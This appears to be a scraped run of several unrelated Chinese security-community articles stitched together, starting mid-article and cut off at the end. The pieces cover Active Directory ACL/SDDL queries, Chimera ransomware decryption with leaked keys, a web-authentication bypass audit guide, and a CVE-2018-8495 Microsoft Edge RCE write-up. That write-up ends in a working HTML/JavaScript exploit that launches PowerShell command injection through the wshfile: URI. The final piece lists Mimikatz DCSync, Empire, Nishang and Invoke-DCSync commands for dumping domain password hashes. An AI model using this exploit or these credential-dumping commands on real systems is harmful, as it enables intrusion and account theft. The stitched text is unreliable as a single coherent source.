D 查看A的用户sid，以及组sids。首先到第二条(因为DENY优先于第一条的allow)进行匹配，没匹配上，然后到第一条ACE进行判断。允许sid
为50 的对象进行访问。A的用户sid 为50，因此允许A 对象访问。
● 当B 访问安全对象D的时候
D 查看B的用户sid，以及组sids。首先到第二条进行匹配，拒绝sid 为13的对象访问，发现B 的其中一个组sid 为13，拒绝B访问。
● 当C 访问安全对象D的时候
D 查看C的用户sid，以及组sids。首先到第二条ACE进行判断。没匹配上，然后匹配第一条，又没匹配上，因此拒绝C访问。
当每条ACE都没匹配上的时候，是拒绝访问的。因此值得注意的是，这里有两种情况
● (1) ACE 条目的数量为0 的情况这种情况底下，有DACL,但是ACE条目的数量为0，是不允许任何用户访问的
● (2) 没有DACL的情况这种情况，是允许任何用户访问的。
2. SACL
SACL的作用是记录访问成功与否，SACL也是由一条一条的ACE构成，每条ACE的内容是某个用户访问成功/失败
某个权限。当访问跟满足这条ACE的时候就会被记录下来。
### 2\. ACE 简介
DACL 是由一条条的ACE构成。SACL也是由一条条的ACE构成，在这里我们只关心DACL的ACE。
在上面我们的举例里面，一条DACL的可能是这样。允许sid 为50 的用户访问。
这个是为了简单得描述。其实一条ACE的内容量远不止于此。可以把一条ACE归纳为四个方面。
● 谁对你有权限
● 是允许还是拒绝
● 有什么权限
● 这个权限能不能被继承
允许sid 为50 的用户访问。这个表述其实就解决了前面两个。谁对你有权限，是允许还是拒绝。
接下来我们主要来讲下后面两个
（1） 有什么权限
前面说能访问吗，其实是很笼统的说法。关于权限，大致可以划分为三个大的权限。
● 通用权限就是对这个条目的通用权限，通用读，通用写等。
● 对某个属性的权限一个条目包含若干个属性，通用属性是对整个条目的权限。域内的ACL同时也支持某个属性的权限。
● 扩展权限全面说的都是读写执行权限，但是域内的安全对象相对较为复杂，读写执行权限是不够用的，域内的ACL也支持扩展权限，比如强制更改密码。
（2） 这个权限能不能被继承
如上图所示，如果我们将权限作用作用于OU=IT,如果设置这个权限能够继承的话，那这个权限能够作用于CN=it-1。
### 3\. SDDL 简介
● 存储位置 nTSecurityDescriptor
● 存储格式 SDDL(Security Descriptor Definition Language)
利用adfind 查看某个属性的ACL
AdFind.exe -b "CN=PC-JACK-0DAY,CN=Computers,DC=0day,DC=org" nTSecurityDescriptor -rawsddl
我们可以看到这一串看起来十分复杂的就是SDDL。看起来十分难以理解，接下来就让我们具体来分析一下。
SDDL 可以可以大致划分为一下四个部分。
O:DA ——> ower
G:DU -->Primary Group
D:
(A;CIID;GW;;;S-1-5-21-1812960810-2335050734-3517558805-1103)
(OA;;WP;bf967950-0de6-11d0-a285-00aa003049e2;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-1812960810-2335050734-3517558805-1133)
S:
(OU;CIIOIDSA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CIIOIDSA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)
其中O代表这条ACL的所有者
G表示primary group，Windows 通常忽略此参数（这是为了 POSIX 兼容性，但它现在已经退化了)
然后剩下的两个部分就是DACL和SACL,都是由一条一条的ACE构成(在SDDL里面一个括号代表一条ACE)，这里侧重点说的是DACL的ACE。
先看第一个例子。
(A;CIID;GW;;;S-1-5-21-1812960810-2335050734-3517558805-1103)
我们前面说过，DACL的ACE的作用主要可以分为
(1) 通用权限
然后我们将ACE拆开。
(
A; ACE类型（允许/拒绝/审核）
CI; ACE标志（继承和审核设置）
GW; 权限（增量权限列表）
; 对象类型（GUID）
; 继承的对象类型（GUID）
S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
)
可以看到
● 谁对你有权限sid 为 S-1-5-21-1812960810-2335050734-3517558805-1103的用户
● 是允许还是拒绝根据ACE类型可以看到是允许
● 有什么权限GW 表示是通用权限
● 这个权限能不能被继承CI 表示权限可以被继承
关于这些值的解释可以看<https://clan8blog.wordpress.com/2016/08/08/sddl-explained/>
(2) 扩展权限
上面代表的是通用权限的情况，但是还有对某个属性的权限，以及扩展权限两种。看下面一个例子。
(
OA; ACE类型（允许/拒绝/审核）
; ACE标志（继承和审核设置）
CR; 权限（增量权限列表）
00299570-246d-11d0-a768-00aa006e0529; 对象类型（GUID）
; 继承的对象类型（GUID）
S-1-5-21-1812960810-2335050734-3517558805-1178 受托人SID
)
这个是扩展权限的，相较于通用权限，对某个属性的权限，以及扩展权限这两种权限的话，
我们可以看到主要是多了个GUID(00299570-246d-11d0-a768-00aa006e0529),我们查下这个GUID(00299570-246d-11d0-a768-00aa006e0529)是强制更改密码，因此这个权限是扩展权限，强制更改密码。
对于某个具体属性的权限或者扩展权限，是哪个属性或者是哪个扩展权限，体现在对象类型里面，类型是GUID。
对于扩展权限，都存储在CN=Extended-Rights,CN=Configuration,DC=test,DC=local里面,具体在rightsGuid这个属性里面，是字符串属性
如果我们已知GUID查询扩展权限的名字，可以通过这样查询
adfind -b "CN=Extended-Rights,CN=Configuration,DC=test,DC=local" -f "rightsGuid=00299570-246d-11d0-a768-00aa006e0529" name
(3) 对某个属性的权限
对哪个属性的权限，也是用GUID 体现出来的，之前我们说过，所有属性的都存储在结构分区里面，可以以此作为查询
如果我们已知GUID要查询属性的名字，可以通过这样查询
adfind -schema -f "schemaIDGUID={{GUID:BF9679C0-0DE6-11D0-A285-00AA003049E2}}" -binenc name
但是SDDL的可阅读性实在太差了，Adfind 可以更方便阅读一点。
AdFind.exe -b "CN=PC-JACK-0DAY,CN=Computers,DC=0day,DC=org" nTSecurityDescriptor -sddl
AdFind.exe -b "CN=PC-JACK-0DAY,CN=Computers,DC=0day,DC=org" nTSecurityDescriptor -sddl+++(+阅读，越容易阅读，最高三个+)
### 4\. 利用adfind 过滤 ACL
如果想用adfind 过滤ACL的话，我们可以使用-sddlfilter,语法如下
-sddlfilter ;;;;;
后面跟的参数对应的是ace条目相应的参数，值得注意的是，过滤的格式跟输出的格式要保持一致。
如果-rawsddl ，最后一个参数是sid，这个时候用-sddlfilter进行过滤，最后一个参数就要用sid的形式。
如果是-sddl+++，最后一个参数已经解析后账号名，这个时候用-sddlfilter进行过滤，最后一个参数就要用账号名的形式。
下面举几个例子
1. 查找某个对象在域内的ACL权限
AdFind.exe -s subtree -b "DC=test,DC=local" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;"TEST\DC2016$" -recmute
2. 查找更改一个对象的马上到！S-AllowedToActOnBehalfOfOtherIdentity的权限
AdFind.exe -s subtree -b "DC=test,DC=local" nTSecurityDescriptor -sddl++ -sddlfilter ;;;"msDS-AllowedToActOnBehalfOfOtherIdentity";; -recmute
3. 查找域内具备dcync 权限的用户
对域对象只需要具备一下这两个权限，就有dcsync的权限。
'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
开始进行搜索
## 0x04 引用
* [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112)
* [Windows访问控制](https://www.0x01f.cn/post/windows/windows_access/) | 社区文章 |
# 【技术分享】解密奇美拉恶意勒索程序
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：[ 苍酷02](http://bobao.360.cn/member/contribute?uid=24132426)** ****
**稿费：300RMB（不服你也来投稿啊！）** ****
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿** **** ****
**0x01 构成要素和方法**
通常，解密勒索程序需要深入了解其使用的算法和发现它勒索过程里的一些缺陷。不同的漏洞需要不同的思路编写破解工具。有时我们需要重写有漏洞的算法，然后编写工具进行密码猜解（比如在破解
Petya的时候）。有时，破解的的部分是对称密钥生成器（如DMA Locker 2.0的情况下）–或算法本身（见7ev3n勒索程序的自定义加密）。
但这次，我们几乎拥有所有现成的资料:
1.使用的密钥（泄露的）
2.奇美拉作者向受害者提供的原始的解密程序
不过有趣的是，我们必须从这些碎片之间找到它们的关系并且以某种方式重新组织它们。
**
**
**0x02 逆向原始解密程序**
正如我们前面介绍奇美拉的分析，受害者交了赎金，作者提供了一个链接，受害人可以下载外部工具解密，但是需要用户购买私钥，匹配对文件进行加密的公钥。
该工具是用.NET编写的并且解密文件解密操作发生在在外部组件—一个命名为“PolarisSSLWrapper.dll” 的dll，输出两个函数：
所以，我们没必要再去重新实现解密函数，可以利用现有的API。
首先我们先去逆向（.NET）的主要组件，来看看这个函数如何被调用以及它需要什么样的参数。我们可以看到外部函数的加载和调用的代码
正如我们在上面看到的，我们感兴趣的是decryptfilewrapper函数。它需要3个参数：要加密的文件的路径（ASCII字符串形式），私钥（以字节数组的形式）和私钥长度。它返回一个布尔值，告知解密文件是否成功。我们可以重建它的头：
bool _cdecl DecryptFileWrapper(char filePath, BYTE* privateKey, size_t privateKeySize);
私钥是从接收到的bitmessage读取，解码base64为字节数组：
奇美拉的基础设施（服务器之类的）几个月之前就死了，所以我们此时看不到真实生活中的流量是怎样的，但是感谢一项发表在 [Bleeping
Computer](http://www.bleepingcomputer.com/news/security/chimera-ransomware-uses-a-peer-to-peer-decryption-service/)的研究，我们可以看到这种信息的结构。例如：
56209A92A96E9F96B0D9E6F962D0D9EF:5Zn9azBBDQQznI9znnHZBDs6+nQz6nB9/6DBa0nXbDz0aghs6fg62Rn9ZzxnDGEzRQ9tFdIZDfa05Lz+nlb6IGnzSDQz0tznrdUzGgq9Nibzx0Zusl2aHn6nzZZE6tbQQe/vzbASDuanTBL5SazSARe52QSq6BEzD5rGqzZhnaLaZrfbI6bN6A6nnnH5lgbeSAzXdz+6eNxqQt9ITziIxF+eDFBBBVZ+zHf6esQzzH2uBnQnaHzzi6tDna9Xngfh6bzQQZBfq+vFbZ9ZfvnTL6D2arAnBzb6A06Qzfn2zRD5hz5eLZzDIDR00/anblbU2bvRTH6ZGaXDeBQQ5NHGhQEAAdZBtx/VaVQsrrDZdasadBHi0RDeZz0Da6glNRz9/U59zXaaeAN0Di5eb2zQtvr5h6Fvb6tzB9THtRUGS6Qzt6BxAz/zTg6gs56h5xXzSnslBQRzngandHzFTaBHix692DLxDaziQnZBQDQRB/Zz5HXQfNzz5aad90+uHAsDBDDVzZsngtbgSHDTzA2X5zQs2tHba5z99qF66IQHqZaZD2erzuDQzzx9NlXaTZEiH2IrVGSZizxEFQzLBl6+BDDn5zuG6x6zBhfaNB56nDUXt6BnzzuvNVq2xzDTn2lSu/QrHzNbFdGSLazTh29z5Fx9D5Zt6QBBrQ+aFuNDhASgDDH20UDnQB00gBa2t6/i+Lq6eV9ZHzzDdEn2T6HXfg+BEnvr5tXB5zZL2zbtvBVxFX2QsBZ9ZrzzG6fIvnvnz6NZ5endiz0IzAQ2Dbqa6gnnsSnznsVIizznibdZIFvF/nsqbVQZB9Zn2nBQUDTQzzDT65NxHzLRvz6VzZsQV5bih+S+shaD6ASaDFzHNQD9ZVIi+ZrafBxes6zqQaBfEs6z+Igd6nZhEzDLZZN/9QbhQzlzfBf5IFL0nqt2qqnSeqgz0bzQgZ9Dq6r50SB6xHhn9DfnNa6hR0DUiubDH5z0+n60UD0Uzz6ti6faD5Sz99f6dtQN6LUfZn/RagfiqnzTXZrvBZv95a9aT9u9tE6qLH0BSNArn0I9rF2eBDQH92zFUBBBVs9e/ZrXZ2Qaz/zn6BzxQ05qtqNQTZ6AS22z6nBf/200L66zasDHrzZ9agHAx2qBNUlRaUDFszInzzaLD5IzGQeQaAU60zz6nZQvVe906uDTXGlaZDDfBQUzD/nRDrZUaa2h59Hf5gbeezTHNiHBaBDzzQBx0BX5Zz92Z2zanfSZZ/2BRnzzzQBzxa/iIxiDNb6Qdd9Bh6/FQnfeznSv5rZ6DZitTGZZUAdzgD5azVAn2G/G+EssFuhV5aBb0N/N2q+2656zgxBBDzn2+0NIZLudxTXRsDNDza0V/9gzzEaqBdZax6QDlfnQhAVIn9XZu/D+gr9+ZRqz5266IBST5E5LBZed/s0zS2QHeBrIHnznZtez+02+Q+50g+ZUD6nrbhR2f+NzB6NgZ6ID9e5hnEEQ99xlnSDZT2aQN6QBRueDRZzNaTz6bvQrGhaBaeFl96hZDZLUDIu6rAzB
这是 [victim ID]:[base64 encoded key]
我们解码key之后 得到了1155（0x483）字节的字节数组。
可以看出，那个DLL需要的私钥就是这些字节数组.
**0x03 解析密钥**
泄露的密钥是一个十六进制字符串。如果我们将其转换为raw格式，它们的长度都是0x483字节。这是一个好兆头，因为格式同上，并不需要额外的处理–只要完成从十六进制到原始二进制的基本解析。泄漏的文件有一个一致的格式。每一密钥都以一个新行结束。我们可以删除开头的信息并且使用这个文件作为输入：
确切的说：上面材料被称为一个私有密钥组（在公告由谁泄露了他们的个人以及在原始解密的代码），在现实中是一个键-值对。每一对都分布在一个连续的块，0x483字节。第一0x103字节包含公钥，然后0x380–私钥。使用的DLL
API预计这满斑点作为“私钥”–但由于他们都过去了，它可以自动验证解密的结果。
**0x04 寻找正确的密钥**
我们可以看到，大部分的工作已经完成了。唯一剩下的就是寻找是否泄露的文件里存在可以解密我们文件的key。
在这种情况下我们必须使用类似于字典撞击的方法，我们的“词典”是一套泄露的密钥。作为验证我们将尝试解密其中一个加密的文件。大致思路用下面的伪代码描述：
while ((privateKey = getNextFromSet()) != NULL) {
if (DecryptFileWrapper(encryptedFile, privateKey, privateKeyLen) == true) {
printf("Hurray, key found!");
storeTheFounKey(privateKey);
return true;
}
}
printf ("Sorry, your key is not in the leaked set!");
return false;
你可以在这里找到所有的代码：[https://github.com/hasherezade/chimera_decrypt](https://github.com/hasherezade/chimera_decrypt)
在找到匹配的key后，我们可以使用同一个DLL用它来帮助其他的文件进行解密。
**
**
**0x05 测试**
**测试1**
奇美拉在每一次执行开始时生成一个唯一的.随机的的keypair，然后和其他数据一起在 bitmessage 发送它到 C&C
为了测试，我用的key是原来奇美拉勒索样品产生的，我们可以清楚的看到key被传递给了一个用来通过biemessage上传递材料的函数(下方的截图中可以看到他被选中)
我将它转换成与泄露密钥相同的格式（连续的十六进制字符串）。
准备的解密工具工作了 测试文件已成功解密：
**测试 2**
由于在泄露的材料中我们有完整的密钥对，可以用于测试目的。在这个实验中我从泄露的blobs剪出了公钥。然后，我把它部署到原来的奇美拉样本。这一招可以让我们生成加密样本件，来模仿密钥泄露的受害者的文件。
下面–用泄露的密钥集里的密钥替代所产生的密钥的公钥：
我们可以尝试使用泄露的密钥集去准备解密文件。
本实验证明，所提供的材料里含有真正的密钥对，而不是垃圾数据。
**0x06总结**
****泄露的文件包含的有密钥对，可以帮助我们解密文件，但是由于奇美拉已经死亡几个月，大多数受害者已经删除了加密文件，但是对于我们解密勒索程序提供一种新的思路。 | 社区文章 |
翻译自 <https://leucosite.com/Microsoft-Edge-RCE/>
# 漏洞原因
（CVE-2018-8495）漏洞原因主要edge是滥用自定义URI方案，参数过滤存在问题从而实现了远程代码执行。
# 启动外部应用程序
我们都知道，在浏览器中，可以通过类似这样的'mailto:[email protected]' url来启动默认邮件客户端。
将出现一个提示，询问用户是否切换应用程序，一旦用户同意，应用程序将运行。
在进行测试中，Outlook是默认的邮件应用程序，如下图所示，某些参数将发送到Outlook。
所以，有用户控制的字符串作为参数值传递，显然这里可能会出现问题。但问题是 - 还有哪些外部应用程序启动URI方案？
# 便捷协议
查看注册表时，我们可以找到所有可以使用的注册自定义协议。在注册表Computer\HKEY_CLASSES_ROOT\内部寻找包含shell\open\command子文件夹的子项。例如，我发现'ms-word'有这样的子文件夹。
所以，如果我们看看'Computer\HKEY_CLASSES_ROOT\ms-word\shell\open\command'这个注册表项的值，发现是'C:\Program Files (x86)\Microsoft
Office\Root\Office16\protocolhandler.exe
"%1"'。`%1表示直接将参数进行传递`,这意味着如果我们有一个用户点击一个url标记，指向'ms-word:test' 会发生以下的情况。
作者没有花时间去查看我们可以抛出的所有可能的命令行参数'protocolhandler.exe'来实现一些有趣的攻击方法。他做了一个简单的尝试。
查看`\HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command`的值。
嗯，这很方便！一种将用户污染的参数直接传递给的URI方案'WScript.exe'。
[“Windows脚本宿主提供了一个环境，用户可以使用各种语言执行脚本，使用各种对象模型来执行任务。”](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)
如果用户 点击url标记'wshfile:test'
从Edge导航会发生什么。首先，我们得到一个提示，要求选择应该处理此URI方案的默认应用程序。默认情况下，正如我们在注册表中看到的那样，'Windows
Script Host (WScript.exe)'是处理程序。
点击 确认后。
'WScript.exe'试图执行位于传递的指定路径的文件。在这种情况下，它试图找到`C:\WINDOWS\system32\wshfile:test`
但它不存在。那么我们能做些什么呢？我们可以以某种方式创建一个名为的文件`wshfile:test`吗？不。所以，我们能做些什么？
# 漏洞利用
这里的第一个测试思路是显而易见的：路径遍历。我们测试`wshfile:test/../../foo.vbs`， 在提示符下按OK然后：
太棒了！我们现在可以指向任何目录中的任何文件，只要我们可以将文件放在可预测的位置，我们就会有RCE。但说起来容易做起来难，看起来大多数（如果不是所有）来自Edge的缓存文件都会进入临时目录位置（目录名通常为某个hash值）。换句话说，我们可以写入文件，但我们无法预测它们的位置。[这是我记得Matt
Nelson写的一篇很棒的文章的地方](https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/)。
在本文中，他指出Windows附带了一个签名的VBS'C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs'遭受'WSH注入'的困扰。它实质上表明特定的VBS文件接受传递给它的2个参数，这些参数可以精心设计，以便它可以欺骗VBS脚本执行任意命令。但！这已经修复，唯一受影响的计算机是尚未更新的计算机。所以这还不够好，文章提到更多这样的案例存在但没有具体说明，因此我开始寻找类似的案例。
我首先查看了我在Windows中找到的每个VBS文件，然后查看它是否接受任何参数。我发现一个位于
'C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs'
这个特定的脚本接受一些参数并将它们传递给powershell.exe
shell执行而不过滤它，允许我们注入任意命令。如果你看看'SyncAppvPublishingServer.vbs'的第36行，我们看到：
psCmd = “powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command＆{”＆syncCmd＆“}”
而且我们可以影响它的价值，'syncCmd'但不仅如此，Edge也不会对引号进行过滤，因此我们可以根据需要传递尽可能多的参数'WScript.exe'。同样为了将这个powershell隐藏执行，可以使用'-WindowStyle
Hidden'这个参数。
此版本中的问题是此特定文件夹名称取决于用户所在的Windows构建。在我的操作系统版本17134中，该文件夹包含'10
.0.17134'，如果您使用的是其他操作系统，则它将不同。几乎没有关于如何确定这些路径名的信息。
所以，我们所需要的只是Edge中的一个访问漏洞，它允许我们检测本地文件（不读取它们），我无法找到这样的错误。
但是重要的是，我们不必通过猜测整个文件夹名称。在Windows文件夹中有一个名为“DOS PATH”的速记版本，所以猜测文件夹位置的DOS路径版本是可能的。
所以，我们的不需要猜测完整路径。
'C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs'
只需要使用`DOS PATH`就可以了
'C:\Windows\WinSxS\AMD921~1.48_\SyncAppvPublishingServer.vbs'
所以这使我们的攻击更加强大。因为这两个指向完全相同的文件。
至于弹出那个讨厌的提示？没有用户会被愚弄点击“确定”并运行Windows脚本程序的！但是，当出现此提示时，默认焦点位于“确定”按钮上，这意味着用户所要做的就是按住输入键，所以我们可以诱骗他们接受提示并触发exp。
# exp
最后的攻击 exp如下
<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>
window.onkeydown=e=>{
window.onkeydown=z={};
q.click()
}
</script>
具体攻击演示视频如下：
[exp](https://i.imgur.com/hxQPl85.mp4 "exp")
# 思考
这个漏洞发生在
edge浏览器外部调用过程中，参数没有过滤，同时结合了Windows的便捷协议，以及windows路径变量，思路非常新颖，也表明在复杂的系统中，不同组件之间的调用的参数传递过程任然存在很大的攻击面。修改这些漏洞，需要从全局来考虑。
# 参考链接
1. <https://leucosite.com/Microsoft-Edge-RCE/> | 社区文章 |
**作者：Skay@360高级攻防实验室
原文链接：<http://noahblog.360.cn/identity-security-authentication-vulnerability/>**
拿到一个系统大多很多情况下只有一个登录入口，如果想进一步得到较为高危的漏洞，只能去寻找权限校验相关的漏洞，再结合后台洞，最终得到一个较为满意的漏洞。
这里列出一些较为常见的安全认证配置：
* Spring Security
* Apache Shiro
* 服务器本身(Tomcat、Nginx、Apache）401 认证
* Tomcat 安全认证(结合web.xml) 无需代码实现
* JSON Web Token
以上只是简单列出了一些笔者见过常见的安全认证配置组件。不同的鉴权组件存在异同的审计思路。
## 一、寻找未授权
这是笔者第首先会入手去看的点，毕竟如果能直接从未授权的点进入，就没必要硬刚鉴权逻辑了。
### 1.一些第三方组件大概率为未授权应用
druid、webservice、swagger等内置于程序中的应用大多被开发者设计为无需权限校验接口。
第三方组件本身又存在历史漏洞，且以jar包的形式内置于应用中，低版本的情况很常见。
利用druid的未授权获取了管理员session
### 2.安全认证框架配置中存在的未授权接口
出于某种功能需求，开发者会讲一些功能接口配置无需权限
**web.xml**
细心查看配置文件中各个Filter、Servlet、Listener ，可能有意想不到的收获
**spring-mvc.xml**
这里是以拦截器的方式对外开放了未授权请求处理
**tomcat 安全配置**
**配置类**
Apache Shiro、Spring
Security等支持以@Configuare注解方式配置权限认证，只要按照配置去寻找，当然以上框架也支持配置文件方式配置，寻找思路一样
### 3.未授权访问接口配合ssrf获取localhost本身需鉴权服务
一些多服务组件中，存在服务之间的相互调用，服务之间的相互调用或许不需要身份校验，或者已经配置了静态的身份凭证，又或者通过访问者IP是否为127.0.0.1来进行鉴权。这时我们需要一个SSRF漏洞即可绕过权限验证。
很经典的为Apache Module mod_proxy 场景绕过：SSRF CVE-2021-4043.
## 二、安全认证框架本身存在鉴权漏洞
### 1.Apache Shiro
Shiro相关的权限绕过漏洞，我觉得可以归类到下面的路径归一化的问题上
### 2.Spring Security
某些配置下，存在权限绕过，当配置文件放行了/**/.js 时
### 3.JWT 存在的安全风险
* 敏感信息泄露
* 未校验签名
* 签名算法可被修改为none
* 签名密钥爆破
* 修改非对称密码算法为对称密码算法
* 伪造密钥(CVE-2018-0114)
jwt测试工具：<https://github.com/ticarpi/jwt_tool>
## 三、静态资源访问
静态资源css、js等文件访问往往不需要权限，开发者可能讲鉴权逻辑放在Filter里，当我们在原有路由基础上添加.js 后缀时，即可绕过验证
这里可能会有一个问题，添加了js后缀后是否还能正常匹配到处理类呢？在spring应用里是可以的，默认配置下的spirng
configurePathMatch支持添加后缀匹配路由，如果想开启后缀匹配模式，需要手动重写configurePathMatch方法
## 四、路径归一化问题
### 1.简单定义
两套组件或应用对同一个 URI 解析，或者说处理的不一致，导致路径归一化问题的产生。
orange 的 breaking parser logic 在 2018 黑帽大会上的演讲议题，后续许多路径归一化的安全问题，都是延伸自他的 PPT
### 2.Shiro 权限绕过漏洞
一个很经典的路径归一化问题，导致 权限的绕过，比如Shiro CVE-2020-1957
针对用户访问的资源地址，也就是 URI 地址，shiro 的解析和 spring 的解析不一致，shiro 的 Ant 中的 * 通配符匹配是不能匹配这个
URI 的/test/admin/page/。shiro 认为它是一个路径，所以绕过了/test/admin/*这个 ACL。而 spring
认为/test/admin/page 和/test/admin/page/是一样的，它们能在 spring中获取到同样的资源。
### 3.CVE-2021-21982 VMware CarbonBlack Workstation
算是一个老1day了，组件本身身份验证通过Spring Security + JWT来实现。且存在两套url的处理组件：Envoy 以及
Springboot。
_PS：Envoy 是专为大型现代 SOA（面向服务架构）架构设计的 L7 代理和通信总线。_
通过diff可以定位到漏洞点，一个本地获取token的接口
但是我们通过外网直接访问无法获取到token
简单了解一下组建的基本架构
抓一下envoy 与本机服务的通信 rr yyds
./tcpdump -i lo -nn -s0 -w lo1.cap -v
envoy 本身起到一个请求转发作用，可以精确匹配到协议 ip 端口 url路径等，指定很详细的路由转发规则，且可以对请求进行转发和修改
url编码即可绕过envoy的转发规则，POC如下：
**总结：由于envoy转发规则不能匹配URL编码，但Springboot可以理解，两个组件对url的理解不同，最终导致漏洞产生。**
### 3.Other
扩展一下思路，当存在一个或者多个代码逻辑处理url时，由于对编码，通配符，"/"，";" 等处理的不同，极有可能造成安全问题。
## 五、Apache、Nginx、Jetty、HAProxy 等
Chybeta在其知识星球分享了很多：
Nginx 场景绕过之一: URL white spaces + Gunicorn
<https://articles.zsxq.com/id_whpewmqqocrw.html>
Nginx 场景绕过之二：斜杠(trailing slash) 与 #
<https://articles.zsxq.com/id_jb6bwow4zf5p.html>
Nginx 场景绕过之三：斜杠(trailing slash) 与 ;
<https://articles.zsxq.com/id_whg6hb68xkbd.html>
HAProxy 场景绕过之一: CVE-2021-40346
<https://articles.zsxq.com/id_ftx67ig4w57u.html>
利用hop-by-hop绕过：结合CVE-2021-33197
<https://articles.zsxq.com/id_rfsu4pm43qno.html>.
Squid 场景绕过之一: URN bypass ACL
<https://articles.zsxq.com/id_ihsdxmrapasa.html>
Apache Module mod_proxy 场景绕过：SSRF CVE-2021-4043.
## 六、简单的fuzz测试
造成权限绕过的根本原因可能有多种，但是不妨碍我们总结出一些常见的绕过方式，编码、插入某些特定字符、添加后缀等方式。远海曾公布一个权限绕过的fuzz字典：
## 七、参考链接
<https://wx.zsxq.com/dweb2/index/group/555848225184>
<https://www.vmware.com/security/advisories/VMSA-2021-0005.html>
<https://cloud.tencent.com/developer/article/1552824>
* * * | 社区文章 |
本文翻译自： <https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/>
## 前言
在渗透测试期间一个非常常见的情形是，在获得域管理员访问权限后需要提取所有域用户的密码哈希以进行线下破解和分析。
这些哈希值存储在域控制器（NTDS.DIT）中的数据库文件中，并带有一些其他信息，如组成员身份和用户。
NTDS.DIT文件始终被操作系统使用，因此无法直接复制到其他位置以提取信息。 在Windows以下位置可以找到此文件：
C:\Windows\NTDS\NTDS.dit
可以使用多种技巧来提取此文件或存储在其中的信息，不过大多数技巧都基于以下方法：
1. 域控制器复制服务(Domain Controller Replication Services)
2. Windows原生的二进制文件
3. WMI
## **Mimikatz**
Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service,
DRS）从NTDS.DIT文件中提取密码哈希值。 此技巧避开了直接运行域控制器(Domain Controller,
DC)所需要的身份验证，它可以通过域管理员的权限从域的任何系统执行。 因此它是红队的标准技巧，因为它很低调。
lsadump::dcsync /domain:pentestlab.local /all /csv
> Mimikatz - 通过DCSync转储域哈希
通过使用 **/ user** 参数指定域用户名，Mimikatz可以转储指定用户的所有帐户信息，包括其密码哈希。
lsadump::dcsync /domain:pentestlab.local /user:test
> Mimikatz - 通过DCSync转储用户哈希
或者直接在域控制器中执行Mimikatz，通过lsass.exe进程转储密码哈希。
privilege::debuglsadump::lsa /inject
lsadump::lsa /inject
> Mimikatz - 通过lsass转储域哈希
提取域用户的密码哈希值。
> Mimikatz - 通过lsadump转储域哈希
## Empire
PowerShell Empire有两个模块，可以通过DCSync攻击获得域哈希。 这两个模块都需要以域管理员身份执行，并且他们要使用微软复制服务。
这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。
以下模块将提取的域哈希以类似于Metasploit hashdump输出的格式进行输出。
usemodule credentials/mimikatz/dcsync_hashdump
> Empire - DCSync Hashdump模块
DCSync模块需要指定用户才能提取所有帐户信息。
> Empire - DCSync模块
将获得以下信息：
> Empire - DCSync帐户信息
## Nishang
Nishang是一个PowerShell框架，它使红队队员和渗透测试人员能够对系统进行攻击性操作。 Copy-VSS脚本可用于自动提取所需的文件：NTDS.DIT，SAM和SYSTEM。 这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
> Nishang - 提取NTDS PowerShell
或者，可以通过加载PowerShell扩展从现有的Meterpreter会话执行脚本。
load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS
也可以使用命令powershell_shell建立直接PowerShell会话，以便在脚本导入现有Meterpreter会话后提取文件。
Copy-VSS
Copy-VSS -DestinationDir C:\Ninja
> Nishang - 提取NTDS Meterpreter PowerShell
## PowerSploit
PowerSploit包含了一个PowerShell脚本。该脚本可以利用卷影拷贝服务(Volume Shadow copy Service,
VSS)创建一个新卷，用于提取文件。
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
> PowerSploit - VolumeShadowCopyTools
或者，可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。
powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy
> PowerSploit - 卷影拷贝
然后，可以使用命令copy将文件从新卷复制到目标路径。
## Invoke-DCSync
Invoke-DCSync是一个PowerShell脚本，由Nick Landers开发，利用PowerView，Invoke-ReflectivePEInjection和PowerKatz的DLL包装器，使用DCSync的Mimikatz方法提取哈希值。
直接执行该函数将生成以下输出：
Invoke-DCSync
> Invoke-DCSync - PowerShell
结果将格式化为四个表：Domain，User，RID和Hash。
使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式提取哈希： **user：id：lm：ntlm :::**
Invoke-DCSync -PWDumpFormat
> Invoke-DCSync - PowerShell PWDump格式
通过从现有的Meterpreter会话运行脚本，可以实现相同的输出。
> Invoke-DCSync Metasploit
使用PWDumpFormat：
> Invoke-DCSync - Metasploit PWDump格式
## NTDSUTIL
ntdsutil是一个命令行工具，是域控制器生态系统的一部分，其目的是使管理员能够访问和管理Windows Active Directory数据库。
